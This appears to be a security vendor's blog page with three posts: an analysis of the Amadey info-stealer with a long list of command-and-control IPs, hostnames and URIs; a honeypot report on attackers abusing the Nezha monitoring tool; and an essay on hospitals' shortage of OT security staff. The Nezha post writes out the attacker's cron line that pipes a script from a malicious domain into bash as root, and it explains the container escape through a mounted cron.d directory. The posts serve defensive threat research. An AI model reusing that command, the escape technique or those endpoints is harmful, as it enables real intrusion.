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March 22, 2023

Amadey Info Stealer and N-Day Vulnerabilities

Understand the implications of the Amadey info stealer on cybersecurity and how it exploits N-day vulnerabilities for data theft.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Zoe Tilsiter
Cyber Analyst
Written by
The Darktrace Threat Research Team
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22
Mar 2023

The continued prevalence of Malware as a Service (MaaS) across the cyber threat landscape means that even the most inexperienced of would-be malicious actors are able to carry out damaging and wide-spread cyber-attacks with relative ease. Among these commonly employed MaaS are information stealers, or info-stealers, a type of malware that infects a device and attempts to gather sensitive information before exfiltrating it to the attacker. Info-stealers typically target confidential information, such as login credentials and bank details, and attempt to lie low on a compromised device, allowing access to sensitive data for longer periods of time. 

It is essential for organizations to have efficient security measures in place to defend their networks from attackers in an increasing versatile and accessible threat landscape, however incident response alone is not enough. Having an autonomous decision maker able to not only detect suspicious activity, but also take action against it in real time, is of the upmost importance to defend against significant network compromise. 

Between August and December 2022, Darktrace detected the Amadey info-stealer on more than 30 customer environments, spanning various regions and industry verticals across the customer base. This shows a continual presence and overlap of info-stealer indicators of compromise (IOCs) across the cyber threat landscape, such as RacoonStealer, which we discussed last November (Part 1 and Part 2).

Background on Amadey

Amadey Bot, a malware that was first discovered in 2018, is capable of stealing sensitive information and installing additional malware by receiving commands from the attacker. Like other malware strains, it is being sold in illegal forums as MaaS starting from $500 USD [1]. 

Researchers at AhnLab found that Amadey is typically distributed via existing SmokeLoader loader malware campaigns. Downloading cracked versions of legitimate software causes SmokeLoader to inject malicious payload into Windows Explorer processes and proceeds to download Amadey.  

The botnet has also been used for distributed denial of service (DDoS) attacks, and as a vector to install malware spam campaigns, such as LockBit 3.0 [2]. Regardless of the delivery techniques, similar patterns of activity were observed across multiple customer environments. 

Amadey’s primary function is to steal information and further distribute malware. It aims to extract a variety of information from infected devices and attempts to evade the detection of security measures by reducing the volume of data exfiltration compared to that seen in other malicious instances.

Darktrace DETECT/Network™ and its built-in features, such as Wireshark Packet Captures (PCAP), identified Amadey activity on customer networks, whilst Darktrace RESPOND/Network™ autonomously intervened to halt its progress.

Attack Details

Figure 1: Timeline of Amadey info-stealer kill chain.

Initial Access  

User engagement with malicious email attachments or cracked software results in direct execution of the SmokeLoader loader malware on a device. Once the loader has executed its payload, it is then able to download additional malware, including the Amadey info-stealer.

Unusual Outbound Connections 

After initial access by the loader and download of additional malware, the Amadey info-stealer captures screenshots of network information and sends them to Amadey command and control (C2) servers via HTTP POST requests with no GET to a .php URI. An example of this can be seen in Figure 2.  

Figure 2: PCAP from an affected customer showing screenshots being sent out to the Amadey C2 server via a .jpg file. 

C2 Communications  

The infected device continues to make repeated connections out to this Amadey endpoint. Amadey's C2 server will respond with instructions to download additional plugins in the form of dynamic-link libraries (DLLs), such as "/Mb1sDv3/Plugins/cred64.dll", or attempt to download secondary info-stealers such as RedLine or RaccoonStealer. 

Internal Reconnaissance 

The device downloads executable and DLL files, or stealer configuration files to steal additional network information from software including RealVNC and Outlook. Most compromised accounts were observed downloading additional malware following commands received from the attacker.

Data Exfiltration 

The stolen information is then sent out via high volumes of HTTP connection. It makes HTTP POSTs to malicious .php URIs again, this time exfiltrating more data such as the Amadey version, device names, and any anti-malware software installed on the system.

How did the attackers bypass the rest of the security stack?

Existing N-Day vulnerabilities are leveraged to launch new attacks on customer networks and potentially bypass other tools in the security stack. Additionally, exfiltrating data via low and slow HTTP connections, rather than large file transfers to cloud storage platforms, is an effective means of evading the detection of traditional security tools which often look for large data transfers, sometimes to a specific list of identified “bad” endpoints.

Darktrace Coverage 

Amadey activity was autonomously identified by DETECT and the Cyber AI Analyst. A list of DETECT models that were triggered on deployments during this kill chain can be found in the Appendices. 

Various Amadey activities were detected and highlighted in DETECT model breaches and their model breach event logs. Figure 3 shows a compromised device making suspicious HTTP POST requests, causing the ‘Anomalous Connection / Posting HTTP to IP Without Hostname’ model to breach. It also downloaded an executable file (.exe) from the same IP.

Figure 3: Amadey activity on a customer deployment captured by model breaches and event logs. 

DETECT’s built-in features also assisted with detecting the data exfiltration. Using the PCAP integration, the exfiltrated data was captured for analysis. Figure 4 shows a connection made to the Amadey endpoint, in which information about the infected device, such as system ID and computer name, were sent. 

Figure 4: PCAP downloaded from Darktrace event logs highlighting data egress to the Amadey endpoint. 

Further information about the infected system can be seen in the above PCAP. As outlined by researchers at Ahnlab and shown in Figure 5, additional system information sent includes the Amadey version (vs=), the device’s admin privilege status (ar=), and any installed anti-malware or anti-virus software installed on the infected environment (av=) [3]. 

Figure 5: AhnLab’s glossary table explaining the information sent to the Amadey C2 server. 

Darktrace’s AI Analyst was also able to connect commonalities between model breaches on a device and present them as a connected incident made up of separate events. Figure 6 shows the AI Analyst incident log for a device having breached multiple models indicative of the Amadey kill chain. It displays the timeline of these events, the specific IOCs, and the associated attack tactic, in this case ‘Command and Control’. 

Figure 6: A screenshot of multiple IOCs and activity correlated together by AI Analyst. 

When enabled on customer’s deployments, RESPOND was able to take immediate action against Amadey to mitigate its impact on customer networks. RESPOND models that breached include: 

  • Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block
  • Antigena / Network / External Threat / Antigena Suspicious File Block 
  • Antigena / Network / Significant Anomaly / Antigena Controlled and Model Breach

On one customer’s environment, a device made a POST request with no GET to URI ‘/p84Nls2/index.php’ and unepeureyore[.]xyz. RESPOND autonomously enforced a previously established pattern of life on the device twice for 30 minutes each and blocked all outgoing traffic from the device for 10 minutes. Enforcing a device’s pattern of life restricts it to conduct activity within the device and/or user’s expected pattern of behavior and blocks anything anomalous or unexpected, enabling normal business operations to continue. This response is intended to reduce the potential scale of attacks by disrupting the kill chain, whilst ensuring business disruption is kept to a minimum. 

Figure 7: RESPOND actions taken on a customer deployment to disrupt the Amadey kill chain. 

The Darktrace Threat Research team conducted thorough investigations into Amadey activity observed across the customer base. They were able to identify and contextualize this threat across the fleet, enriching AI insights with collaborative human analysis. Pivoting from AI insights as their primary source of information, the Threat Research team were able to provide layered analysis to confirm this campaign-like activity and assess the threat across multiple unique environments, providing a holistic assessment to customers with contextualized insights.

Conclusion

The presence of the Amadey info-stealer in multiple customer environments highlights the continuing prevalence of MaaS and info-stealers across the threat landscape. The Amadey info-stealer in particular demonstrates that by evading N-day vulnerability patches, threat actors routinely launch new attacks. These malicious actors are then able to evade detection by traditional security tools by employing low and slow data exfiltration techniques, as opposed to large file transfers.

Crucially, Darktrace’s AI insights were coupled with expert human analysis to detect, respond, and provide contextualized insights to notify customers of Amadey activity effectively. DETECT captured Amadey activity taking place on customer deployments, and where enabled, RESPOND’s autonomous technology was able to take immediate action to reduce the scale of such attacks. Finally, the Threat Research team were in place to provide enhanced analysis for affected customers to help security teams future-proof against similar attacks.

Appendices

Darktrace Model Detections 

Anomalous File / EXE from Rare External Location

Device / Initial Breach Chain Compromise

Anomalous Connection / Posting HTTP to IP Without Hostname 

Anomalous Connection / POST to PHP on New External Host

Anomalous Connection / Multiple HTTP POSTs to Rare Hostname 

Compromise / Beaconing Activity To External Rare

Compromise / Slow Beaconing Activity To External Rare

Anomalous Connection / Multiple Failed Connections to Rare Endpoint

List of IOCs

f0ce8614cc2c3ae1fcba93bc4a8b82196e7139f7 - SHA1 - Amadey DLL File Hash

e487edceeef3a41e2a8eea1e684bcbc3b39adb97 - SHA1 - Amadey DLL File Hash

0f9006d8f09e91bbd459b8254dd945e4fbae25d9 - SHA1 - Amadey DLL File Hash

4069fdad04f5e41b36945cc871eb87a309fd3442 - SHA1 - Amadey DLL File Hash

193.106.191[.]201 - IP - Amadey C2 Endpoint

77.73.134[.]66 - IP - Amadey C2 Endpoint

78.153.144[.]60 - IP - Amadey C2 Endpoint

62.204.41[.]252 - IP - Amadey C2 Endpoint

45.153.240[.]94 - IP - Amadey C2 Endpoint

185.215.113[.]204 - IP - Amadey C2 Endpoint

85.209.135[.]11 - IP - Amadey C2 Endpoint

185.215.113[.]205 - IP - Amadey C2 Endpoint

31.41.244[.]146 - IP - Amadey C2 Endpoint

5.154.181[.]119 - IP - Amadey C2 Endpoint

45.130.151[.]191 - IP - Amadey C2 Endpoint

193.106.191[.]184 - IP - Amadey C2 Endpoint

31.41.244[.]15 - IP - Amadey C2 Endpoint

77.73.133[.]72 - IP - Amadey C2 Endpoint

89.163.249[.]231 - IP - Amadey C2 Endpoint

193.56.146[.]243 - IP - Amadey C2 Endpoint

31.41.244[.]158 - IP - Amadey C2 Endpoint

85.209.135[.]109 - IP - Amadey C2 Endpoint

77.73.134[.]45 - IP - Amadey C2 Endpoint

moscow12[.]at - Hostname - Amadey C2 Endpoint

moscow13[.]at - Hostname - Amadey C2 Endpoint

unepeureyore[.]xyz - Hostname - Amadey C2 Endpoint

/fb73jc3/index.php - URI - Amadey C2 Endpoint

/panelis/index.php - URI - Amadey C2 Endpoint

/panelis/index.php?scr=1 - URI - Amadey C2 Endpoint

/panel/index.php - URI - Amadey C2 Endpoint

/panel/index.php?scr=1 - URI - Amadey C2 Endpoint

/panel/Plugins/cred.dll - URI - Amadey C2 Endpoint

/jg94cVd30f/index.php - URI - Amadey C2 Endpoint

/jg94cVd30f/index.php?scr=1 - URI - Amadey C2 Endpoint

/o7Vsjd3a2f/index.php - URI - Amadey C2 Endpoint

/o7Vsjd3a2f/index.php?scr=1 - URI - Amadey C2 Endpoint

/o7Vsjd3a2f/Plugins/cred64.dll - URI - Amadey C2 Endpoint

/gjend7w/index.php - URI - Amadey C2 Endpoint

/hfk3vK9/index.php - URI - Amadey C2 Endpoint

/v3S1dl2/index.php - URI - Amadey C2 Endpoint

/f9v33dkSXm/index.php - URI - Amadey C2 Endpoint

/p84Nls2/index.php - URI - Amadey C2 Endpoint

/p84Nls2/Plugins/cred.dll - URI - Amadey C2 Endpoint

/nB8cWack3/index.php - URI - Amadey C2 Endpoint

/rest/index.php - URI - Amadey C2 Endpoint

/Mb1sDv3/index.php - URI - Amadey C2 Endpoint

/Mb1sDv3/index.php?scr=1 - URI - Amadey C2 Endpoint

/Mb1sDv3/Plugins/cred64.dll  - URI - Amadey C2 Endpoint

/h8V2cQlbd3/index.php - URI - Amadey C2 Endpoint

/f5OknW/index.php - URI - Amadey C2 Endpoint

/rSbFldr23/index.php - URI - Amadey C2 Endpoint

/rSbFldr23/index.php?scr=1 - URI - Amadey C2 Endpoint

/jg94cVd30f/Plugins/cred64.dll - URI - Amadey C2 Endpoint

/mBsjv2swweP/Plugins/cred64.dll - URI - Amadey C2 Endpoint

/rSbFldr23/Plugins/cred64.dll - URI - Amadey C2 Endpoint

/Plugins/cred64.dll - URI - Amadey C2 Endpoint

Mitre Attack and Mapping 

Collection:

T1185 - Man the Browser

Initial Access and Resource Development:

T1189 - Drive-by Compromise

T1588.001 - Malware

Persistence:

T1176 - Browser Extensions

Command and Control:

T1071 - Application Layer Protocol

T1071.001 - Web Protocols

T1090.002 - External Proxy

T1095 - Non-Application Layer Protocol

T1571 - Non-Standard Port

T1105 - Ingress Tool Transfer

References 

[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

[2] https://asec.ahnlab.com/en/41450/

[3] https://asec.ahnlab.com/en/36634/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Zoe Tilsiter
Cyber Analyst
Written by
The Darktrace Threat Research Team

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

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About the author
Daniel Simonds
Director of Operational Technology
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